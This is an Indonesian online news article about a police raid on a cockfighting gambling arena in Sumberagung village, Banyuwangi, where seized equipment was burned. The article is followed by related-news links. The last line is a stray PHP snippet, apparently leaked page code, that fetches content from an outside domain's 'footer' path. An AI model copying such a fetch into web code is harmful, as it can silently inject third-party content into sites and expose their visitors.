Perjudian 303 Sabung Ayam Di Desa Sumberagung, Kecamatan Pesanggaran, Kabupaten Banyuwangi

Kamis, 22 Agustus 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Meresahkan Masyarakat, Perjudian 303 Sabung Ayam Di Desa Sumberagung, Kecamatan Pesanggaran, Kabupaten Banyuwangi bakar Polisi

Banyuwangi | jejakkasus.info – Lagi Lagi Perjudian 303 viral di media Sosial, Polisi didalam upaya memberantas perjudian 303 jenis Sabung Ayam, Polsek Pesanggaran Polresta Banyuwangi, Polda Jatim melakukan tindakan tegas berupa melakukan penggrebekan dan membakar habis arena praktek judi sabung ayam di Desa Sumberagung pada, Rabu (21/8/2024).

Kapolresta Banyuwangi Kombes Pol Nanang Haryono yang diwakili oleh Kapolsek Pesanggaran AKP Lita Kurniawan mengatakan, bahwa judi sabung ayam tersebut bertempat di Kampung Templek, Dusun Silirbaru, Desa Sumberagung.

Lebih lanjut AKP Lita menerangkan, operasi teraebut dilaksanakan setelah pihak kepolisian mendapatkan informasi mengenai aktivitas perjudian sabung ayam. Dengan sigap tim Polsek Pesanggaran segera bergerak menuju Tempat Kejadian Perkara (TKP) pada pukul 09.00 WIB.

Baca Juga:  Diburu Hingga Jatim, Komplotan Pembobol Brankas Dibekuk Polda Jateng

“Kepada Media pada saat tina di lokasi arena Sabung ayam sekira pukul 09.00 WIB, sudah tidak terdapat aktivitas perjudian 303 Sabung Ayam. ungkap AKP Lita Rabu, (21/8/2024).

Meskipun pelaku tidak ada ditempat saat penggrebekan namun, masih AKP Lita, polisi berhasil menemukan sejumlah barang bukti yang diduga digunakan dalam aktivitas sabung ayam. Seperti jam dinding, terpal, meja, Kursi, dan Kurungan ayam. Barang-barang tersebut kemudian dimusnahkan di lokasi dengan cara dibakar.

Baca Juga:  Alasan motor Rusak Mamang pelaku Pencurian dan Penggelapan diciduk Tim Gabungan Polres Bangka Barat dan Polsek Mentok

“Tindakan ini dilakukan sebagai upaya menegakkan hukum dan menjaga ketertiban di wilayah. Kami tidak menoleransi praktik perjudian apa pun,” cetusnya.

Disamping melanggar hukum, AKP Lita menambahkan, segala bentuk parktik perjudian akan merusak perekonomian keluarga. Kepolisian akan bertindak serius untuk menindaklanjuti informasi dari masyarakat apa pun terkait perjudian. Hal ini dilakukan demi terjaganya keamanan dan ketertiban (Harkamtibmas) di wilayah Pesanggaran.

“Kami akan terus memantau dan menindak tegas segala bentuk perjudian di wilayah kami. Aktivitas sabung ayam ini melanggar hukum dan pelakunya dapat dijerat Pasal 303 KUHP dengan ancaman hukuman penjara hingga 10 tahun atau denda maksimal 25 juta rupiah,” terang AKP Lita.

Baca Juga:  Polisi Bongkar Pabrik Miras Ilegal Terbesar di Malang

Sementara itu, Kanit Samapta Ipda Darmo menambahkan bahwa Kegiatan penindakan yang berlangsung hingga pukul 09.50 WIB tersebut berjalan lancar tanpa hambatan. Pada kesempatan itu, Polisi juga mengingatkan warga untuk tidak terlibat dalam kegiatan perjudian dan segera melaporkan jika menemukan aktivitas serupa di lingkungan mereka.

“Selanjutnya seluruh BB berupa Jam dinding, terpal, meja, karpet, kursi, tali tampar dan kurungan ayam dimusnahkan dengan cara dibakar.” Ujar Ipda Darmo. (Red)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Kapolres Tabanan Gelar Jumat Curhat Bersama Warga Desa Sudimara di Pantai Yeh Gangga
Prajurit Kodam IX/Udayana Raih Medali di Cabang MMA PON XXI 2024
Kuasa hukum AG, Reydi Nobel.S.H apresiasi majelis hakim tunggal, ni Made Dewi Sukarni.SH karena mengabulkan permohonan praperadilan.
Polsek Petang Gelar Blue Light Patrol Antisipasi Gangguan Kamtibmas Jelang Pilkada 2024
Tingkatkan Patroli Samapta Polsek Mengwi Sambangi SPBU
Menjelang Pilkada Kabupaten Sidoarjo Bhabinkamtibmas Polsek Tanggulangin Adakan Dialog Dengan Tokoh Agama Dan Masyarakat.
Tim Voli Putri Jatim Sabet Medali Emas pada PON XXI Aceh Sumut
Masih Perlukah Cuma Teteskan Air Mata Untuk Menangisi Peraturan Pemerintah Yang Mencekik Ini

Berita Terkait

Jumat, 20 September 2024 - 11:01 WIB

Kapolres Tabanan Gelar Jumat Curhat Bersama Warga Desa Sudimara di Pantai Yeh Gangga

Jumat, 20 September 2024 - 10:59 WIB

Prajurit Kodam IX/Udayana Raih Medali di Cabang MMA PON XXI 2024

Jumat, 20 September 2024 - 10:58 WIB

Kuasa hukum AG, Reydi Nobel.S.H apresiasi majelis hakim tunggal, ni Made Dewi Sukarni.SH karena mengabulkan permohonan praperadilan.

Jumat, 20 September 2024 - 10:57 WIB

Polsek Petang Gelar Blue Light Patrol Antisipasi Gangguan Kamtibmas Jelang Pilkada 2024

Jumat, 20 September 2024 - 10:56 WIB

Tingkatkan Patroli Samapta Polsek Mengwi Sambangi SPBU

Berita Terbaru

Peristiwa

Tingkatkan Patroli Samapta Polsek Mengwi Sambangi SPBU

Jumat, 20 Sep 2024 - 10:56 WIB

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>